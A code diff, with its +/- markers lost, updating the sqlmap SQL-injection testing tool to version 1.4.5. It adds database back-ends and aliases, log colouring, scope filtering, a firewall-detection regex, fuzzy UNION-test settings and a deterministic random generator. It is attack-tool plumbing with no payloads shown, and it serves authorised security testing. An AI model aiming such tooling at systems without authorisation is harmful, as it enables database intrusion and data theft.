elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA):
|
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
|
||||||
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.MIMERSQL):
|
|
||||||
self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
|
||||||
else:
|
else:
|
||||||
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
|
|
||||||
|
|||||||
@@ -52,6 +52,11 @@ class DBMS(object):
|
|||||||
PRESTO = "Presto"
|
PRESTO = "Presto"
|
||||||
ALTIBASE = "Altibase"
|
ALTIBASE = "Altibase"
|
||||||
MIMERSQL = "MimerSQL"
|
MIMERSQL = "MimerSQL"
|
||||||
|
CRATEDB = "CrateDB"
|
||||||
|
CUBRID = "Cubrid"
|
||||||
|
CACHE = "InterSystems Cache"
|
||||||
|
EXTREMEDB = "eXtremeDB"
|
||||||
|
FRONTBASE = "FrontBase"
|
||||||
|
|
||||||
class DBMS_DIRECTORY_NAME(object):
|
class DBMS_DIRECTORY_NAME(object):
|
||||||
ACCESS = "access"
|
ACCESS = "access"
|
||||||
@@ -74,6 +79,11 @@ class DBMS_DIRECTORY_NAME(object):
|
|||||||
PRESTO = "presto"
|
PRESTO = "presto"
|
||||||
ALTIBASE = "altibase"
|
ALTIBASE = "altibase"
|
||||||
MIMERSQL = "mimersql"
|
MIMERSQL = "mimersql"
|
||||||
|
CRATEDB = "cratedb"
|
||||||
|
CUBRID = "cubrid"
|
||||||
|
CACHE = "cache"
|
||||||
|
EXTREMEDB = "extremedb"
|
||||||
|
FRONTBASE = "frontbase"
|
||||||
|
|
||||||
class FORK(object):
|
class FORK(object):
|
||||||
MARIADB = "MariaDB"
|
MARIADB = "MariaDB"
|
||||||
@@ -83,6 +93,12 @@ class FORK(object):
|
|||||||
TIDB = "TiDB"
|
TIDB = "TiDB"
|
||||||
REDSHIFT = "Amazon Redshift"
|
REDSHIFT = "Amazon Redshift"
|
||||||
GREENPLUM = "Greenplum"
|
GREENPLUM = "Greenplum"
|
||||||
|
DRIZZLE = "Drizzle"
|
||||||
|
IGNITE = "Apache Ignite"
|
||||||
|
AURORA = "Aurora"
|
||||||
|
ENTERPRISEDB = "EnterpriseDB"
|
||||||
|
YELLOWBRICK = "Yellowbrick"
|
||||||
|
IRIS = "Iris"
|
||||||
|
|
||||||
class CUSTOM_LOGGING(object):
|
class CUSTOM_LOGGING(object):
|
||||||
PAYLOAD = 9
|
PAYLOAD = 9
|
||||||
@@ -412,3 +428,8 @@ class TIMEOUT_STATE(object):
|
|||||||
class HINT(object):
|
class HINT(object):
|
||||||
PREPEND = 0
|
PREPEND = 0
|
||||||
APPEND = 1
|
APPEND = 1
|
||||||
|
|
||||||
|
class FUZZ_UNION_COLUMN:
|
||||||
|
STRING = "<string>"
|
||||||
|
INTEGER = "<integer>"
|
||||||
|
NULL = "NULL"
|
||||||
|
|||||||
+73
-1
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
import re
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from lib.core.enums import CUSTOM_LOGGING
|
from lib.core.enums import CUSTOM_LOGGING
|
||||||
@@ -20,6 +21,77 @@ LOGGER_HANDLER = None
|
|||||||
try:
|
try:
|
||||||
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
|
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
|
||||||
|
|
||||||
|
class _ColorizingStreamHandler(ColorizingStreamHandler):
|
||||||
|
def colorize(self, message, levelno):
|
||||||
|
if levelno in self.level_map and self.is_tty:
|
||||||
|
bg, fg, bold = self.level_map[levelno]
|
||||||
|
params = []
|
||||||
|
|
||||||
|
if bg in self.color_map:
|
||||||
|
params.append(str(self.color_map[bg] + 40))
|
||||||
|
|
||||||
|
if fg in self.color_map:
|
||||||
|
params.append(str(self.color_map[fg] + 30))
|
||||||
|
|
||||||
|
if bold:
|
||||||
|
params.append('1')
|
||||||
|
|
||||||
|
if params and message:
|
||||||
|
match = re.search(r"\A(\s+)", message)
|
||||||
|
prefix = match.group(1) if match else ""
|
||||||
|
message = message[len(prefix):]
|
||||||
|
|
||||||
|
match = re.search(r"\[([A-Z ]+)\]", message) # log level
|
||||||
|
if match:
|
||||||
|
level = match.group(1)
|
||||||
|
if message.startswith(self.bold):
|
||||||
|
message = message.replace(self.bold, "")
|
||||||
|
reset = self.reset + self.bold
|
||||||
|
params.append('1')
|
||||||
|
else:
|
||||||
|
reset = self.reset
|
||||||
|
message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)
|
||||||
|
|
||||||
|
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
|
||||||
|
if match:
|
||||||
|
time = match.group(1)
|
||||||
|
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
|
||||||
|
|
||||||
|
match = re.search(r"\[(#\d+)\]", message) # counter
|
||||||
|
if match:
|
||||||
|
counter = match.group(1)
|
||||||
|
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
|
||||||
|
|
||||||
|
if level != "PAYLOAD":
|
||||||
|
if any(_ in message for _ in ("parsed DBMS error message",)):
|
||||||
|
match = re.search(r": '(.+)'", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
match = re.search(r"\bresumed: '(.+\.\.\.)", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
|
||||||
|
|
||||||
|
if prefix:
|
||||||
|
message = "%s%s" % (prefix, message)
|
||||||
|
|
||||||
|
message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch
|
||||||
|
|
||||||
|
return message
|
||||||
|
|
||||||
disableColor = False
|
disableColor = False
|
||||||
|
|
||||||
for argument in sys.argv:
|
for argument in sys.argv:
|
||||||
@@ -30,7 +102,7 @@ try:
|
|||||||
if disableColor:
|
if disableColor:
|
||||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||||
else:
|
else:
|
||||||
LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
|
LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
|
||||||
|
|||||||
+19
-8
@@ -371,7 +371,7 @@ def _doSearch():
|
|||||||
|
|
||||||
for link in links:
|
for link in links:
|
||||||
link = urldecode(link)
|
link = urldecode(link)
|
||||||
if re.search(r"(.*?)\?(.+)", link):
|
if re.search(r"(.*?)\?(.+)", link) or conf.forms:
|
||||||
kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
|
kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
|
||||||
elif re.search(URI_INJECTABLE_REGEX, link, re.I):
|
elif re.search(URI_INJECTABLE_REGEX, link, re.I):
|
||||||
if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
|
if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
|
||||||
@@ -387,14 +387,18 @@ def _doSearch():
|
|||||||
|
|
||||||
if kb.targets:
|
if kb.targets:
|
||||||
infoMsg = "found %d results for your " % len(links)
|
infoMsg = "found %d results for your " % len(links)
|
||||||
infoMsg += "search dork expression, "
|
infoMsg += "search dork expression"
|
||||||
|
|
||||||
if len(links) == len(kb.targets):
|
if not conf.forms:
|
||||||
infoMsg += "all "
|
infoMsg += ", "
|
||||||
else:
|
|
||||||
infoMsg += "%d " % len(kb.targets)
|
if len(links) == len(kb.targets):
|
||||||
|
infoMsg += "all "
|
||||||
|
else:
|
||||||
|
infoMsg += "%d " % len(kb.targets)
|
||||||
|
|
||||||
|
infoMsg += "of them are testable targets"
|
||||||
|
|
||||||
infoMsg += "of them are testable targets"
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
break
|
break
|
||||||
|
|
||||||
@@ -425,6 +429,9 @@ def _setBulkMultipleTargets():
|
|||||||
|
|
||||||
found = False
|
found = False
|
||||||
for line in getFileItems(conf.bulkFile):
|
for line in getFileItems(conf.bulkFile):
|
||||||
|
if conf.scope and not re.search(conf.scope, line, re.I):
|
||||||
|
continue
|
||||||
|
|
||||||
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
||||||
found = True
|
found = True
|
||||||
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
||||||
@@ -676,7 +683,7 @@ def _setDBMS():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.dbms = conf.dbms.lower()
|
conf.dbms = conf.dbms.lower()
|
||||||
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I)
|
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I)
|
||||||
|
|
||||||
if regex:
|
if regex:
|
||||||
conf.dbms = regex.group(1)
|
conf.dbms = regex.group(1)
|
||||||
@@ -1864,6 +1871,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.cache.content = {}
|
kb.cache.content = {}
|
||||||
kb.cache.encoding = {}
|
kb.cache.encoding = {}
|
||||||
kb.cache.alphaBoundaries = None
|
kb.cache.alphaBoundaries = None
|
||||||
|
kb.cache.hashRegex = None
|
||||||
kb.cache.intBoundaries = None
|
kb.cache.intBoundaries = None
|
||||||
kb.cache.parsedDbms = {}
|
kb.cache.parsedDbms = {}
|
||||||
kb.cache.regex = {}
|
kb.cache.regex = {}
|
||||||
@@ -1913,6 +1921,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.errorIsNone = True
|
kb.errorIsNone = True
|
||||||
kb.falsePositives = []
|
kb.falsePositives = []
|
||||||
kb.fileReadMode = False
|
kb.fileReadMode = False
|
||||||
|
kb.fingerprinted = False
|
||||||
kb.followSitemapRecursion = None
|
kb.followSitemapRecursion = None
|
||||||
kb.forcedDbms = None
|
kb.forcedDbms = None
|
||||||
kb.forcePartialUnion = False
|
kb.forcePartialUnion = False
|
||||||
@@ -1920,6 +1929,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.forceWhere = None
|
kb.forceWhere = None
|
||||||
kb.forkNote = None
|
kb.forkNote = None
|
||||||
kb.futileUnion = None
|
kb.futileUnion = None
|
||||||
|
kb.fuzzUnionTest = None
|
||||||
kb.heavilyDynamic = False
|
kb.heavilyDynamic = False
|
||||||
kb.headersFile = None
|
kb.headersFile = None
|
||||||
kb.headersFp = {}
|
kb.headersFp = {}
|
||||||
@@ -2019,6 +2029,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.uChar = NULL
|
kb.uChar = NULL
|
||||||
kb.udfFail = False
|
kb.udfFail = False
|
||||||
kb.unionDuplicates = False
|
kb.unionDuplicates = False
|
||||||
|
kb.unionTemplate = None
|
||||||
kb.webSocketRecvCount = None
|
kb.webSocketRecvCount = None
|
||||||
kb.wizardMode = False
|
kb.wizardMode = False
|
||||||
kb.xpCmdshellAvailable = False
|
kb.xpCmdshellAvailable = False
|
||||||
|
|||||||
@@ -201,6 +201,7 @@ optDict = {
|
|||||||
"trafficFile": "string",
|
"trafficFile": "string",
|
||||||
"answers": "string",
|
"answers": "string",
|
||||||
"batch": "boolean",
|
"batch": "boolean",
|
||||||
|
"base64Parameter": "string",
|
||||||
"binaryFields": "string",
|
"binaryFields": "string",
|
||||||
"charset": "string",
|
"charset": "string",
|
||||||
"checkInternet": "boolean",
|
"checkInternet": "boolean",
|
||||||
|
|||||||
+38
-1
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import codecs
|
import codecs
|
||||||
|
import random
|
||||||
|
|
||||||
import lib.controller.checks
|
import lib.controller.checks
|
||||||
import lib.core.common
|
import lib.core.common
|
||||||
@@ -25,6 +26,7 @@ from lib.core.common import isListLike
|
|||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import shellExec
|
from lib.core.common import shellExec
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import stdoutEncode
|
from lib.core.convert import stdoutEncode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.option import _setHTTPHandlers
|
from lib.core.option import _setHTTPHandlers
|
||||||
@@ -34,6 +36,8 @@ from lib.request.templates import getPageTemplate
|
|||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.six.moves import http_client as _http_client
|
from thirdparty.six.moves import http_client as _http_client
|
||||||
|
|
||||||
|
_rand = 0
|
||||||
|
|
||||||
def dirtyPatches():
|
def dirtyPatches():
|
||||||
"""
|
"""
|
||||||
Place for "dirty" Python related patches
|
Place for "dirty" Python related patches
|
||||||
@@ -46,8 +50,9 @@ def dirtyPatches():
|
|||||||
if six.PY3:
|
if six.PY3:
|
||||||
if not hasattr(_http_client.HTTPConnection, "__send_output"):
|
if not hasattr(_http_client.HTTPConnection, "__send_output"):
|
||||||
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
|
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
|
||||||
|
|
||||||
def _send_output(self, *args, **kwargs):
|
def _send_output(self, *args, **kwargs):
|
||||||
if conf.chunked and "encode_chunked" in kwargs:
|
if conf.get("chunked") and "encode_chunked" in kwargs:
|
||||||
kwargs["encode_chunked"] = False
|
kwargs["encode_chunked"] = False
|
||||||
self.__send_output(*args, **kwargs)
|
self.__send_output(*args, **kwargs)
|
||||||
|
|
||||||
@@ -100,3 +105,35 @@ def pympTempLeakPatch(tempDir):
|
|||||||
multiprocessing.util.get_temp_dir = lambda: tempDir
|
multiprocessing.util.get_temp_dir = lambda: tempDir
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def unisonRandom():
|
||||||
|
"""
|
||||||
|
Unifying random generated data across different Python versions
|
||||||
|
"""
|
||||||
|
|
||||||
|
def _lcg():
|
||||||
|
global _rand
|
||||||
|
a = 1140671485
|
||||||
|
c = 128201163
|
||||||
|
m = 2 ** 24
|
||||||
|
_rand = (a * _rand + c) % m
|
||||||
|
return _rand
|
||||||
|
|
||||||
|
def _randint(a, b):
|
||||||
|
_ = a + (_lcg() % (b - a + 1))
|
||||||
|
return _
|
||||||
|
|
||||||
|
def _choice(seq):
|
||||||
|
return seq[_randint(0, len(seq) - 1)]
|
||||||
|
|
||||||
|
def _sample(population, k):
|
||||||
|
return [_choice(population) for _ in xrange(k)]
|
||||||
|
|
||||||
|
def _seed(seed):
|
||||||
|
global _rand
|
||||||
|
_rand = seed
|
||||||
|
|
||||||
|
random.choice = _choice
|
||||||
|
random.randint = _randint
|
||||||
|
random.sample = _sample
|
||||||
|
random.seed = _seed
|
||||||
|
|||||||
+1
-1
@@ -25,7 +25,7 @@ def setDbms(dbms):
|
|||||||
|
|
||||||
hashDBWrite(HASHDB_KEYS.DBMS, dbms)
|
hashDBWrite(HASHDB_KEYS.DBMS, dbms)
|
||||||
|
|
||||||
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
|
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
|
||||||
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
|
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
|
||||||
|
|
||||||
if _:
|
if _:
|
||||||
|
|||||||
+45
-12
@@ -18,7 +18,7 @@ from lib.core.enums import OS
|
|||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.4.2.0"
|
VERSION = "1.4.5.0"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
@@ -93,6 +93,12 @@ PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s
|
|||||||
# Regular expression used in recognition of generic protection mechanisms
|
# Regular expression used in recognition of generic protection mechanisms
|
||||||
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
|
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
|
||||||
|
|
||||||
|
# Regular expression used to detect errors in fuzz(y) UNION test
|
||||||
|
FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error"
|
||||||
|
|
||||||
|
# Upper threshold for starting the fuzz(y) UNION test
|
||||||
|
FUZZ_UNION_MAX_COLUMNS = 10
|
||||||
|
|
||||||
# Regular expression used for recognition of generic maximum connection messages
|
# Regular expression used for recognition of generic maximum connection messages
|
||||||
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
|
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
|
||||||
|
|
||||||
@@ -257,7 +263,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
|||||||
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
||||||
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
|
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
|
||||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||||
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
|
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
|
||||||
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
|
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
|
||||||
@@ -266,11 +272,16 @@ MCKOI_SYSTEM_DBS = ("",)
|
|||||||
PRESTO_SYSTEM_DBS = ("information_schema",)
|
PRESTO_SYSTEM_DBS = ("information_schema",)
|
||||||
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
|
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
|
||||||
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
|
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
|
||||||
|
CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
|
||||||
|
CUBRID_SYSTEM_DBS = ("DBA",)
|
||||||
|
CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
|
||||||
|
EXTREMEDB_SYSTEM_DBS = ("",)
|
||||||
|
FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
|
||||||
|
|
||||||
# Note: (<regular>) + (<forks>)
|
# Note: (<regular>) + (<forks>)
|
||||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||||
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
|
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
|
||||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb")
|
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "redshift", "greenplum", "yellowbrick", "enterprisedb", "aurora")
|
||||||
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
||||||
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
||||||
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
||||||
@@ -288,13 +299,18 @@ MCKOI_ALIASES = ("mckoi",)
|
|||||||
PRESTO_ALIASES = ("presto",)
|
PRESTO_ALIASES = ("presto",)
|
||||||
ALTIBASE_ALIASES = ("altibase",)
|
ALTIBASE_ALIASES = ("altibase",)
|
||||||
MIMERSQL_ALIASES = ("mimersql", "mimer")
|
MIMERSQL_ALIASES = ("mimersql", "mimer")
|
||||||
|
CRATEDB_ALIASES = ("cratedb", "crate")
|
||||||
|
CUBRID_ALIASES = ("cubrid",)
|
||||||
|
CACHE_ALIASES = ("intersystems cache", "cachedb", "cache")
|
||||||
|
EXTREMEDB_ALIASES = ("extremedb", "extreme")
|
||||||
|
FRONTBASE_ALIASES = ("frontbase",)
|
||||||
|
|
||||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||||
|
|
||||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES
|
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES)
|
||||||
SUPPORTED_OS = ("linux", "windows")
|
SUPPORTED_OS = ("linux", "windows")
|
||||||
|
|
||||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES))
|
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES))
|
||||||
|
|
||||||
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
||||||
REFERER_ALIASES = ("ref", "referer", "referrer")
|
REFERER_ALIASES = ("ref", "referer", "referrer")
|
||||||
@@ -307,6 +323,10 @@ UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS
|
|||||||
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||||
VERTICA_DEFAULT_SCHEMA = "public"
|
VERTICA_DEFAULT_SCHEMA = "public"
|
||||||
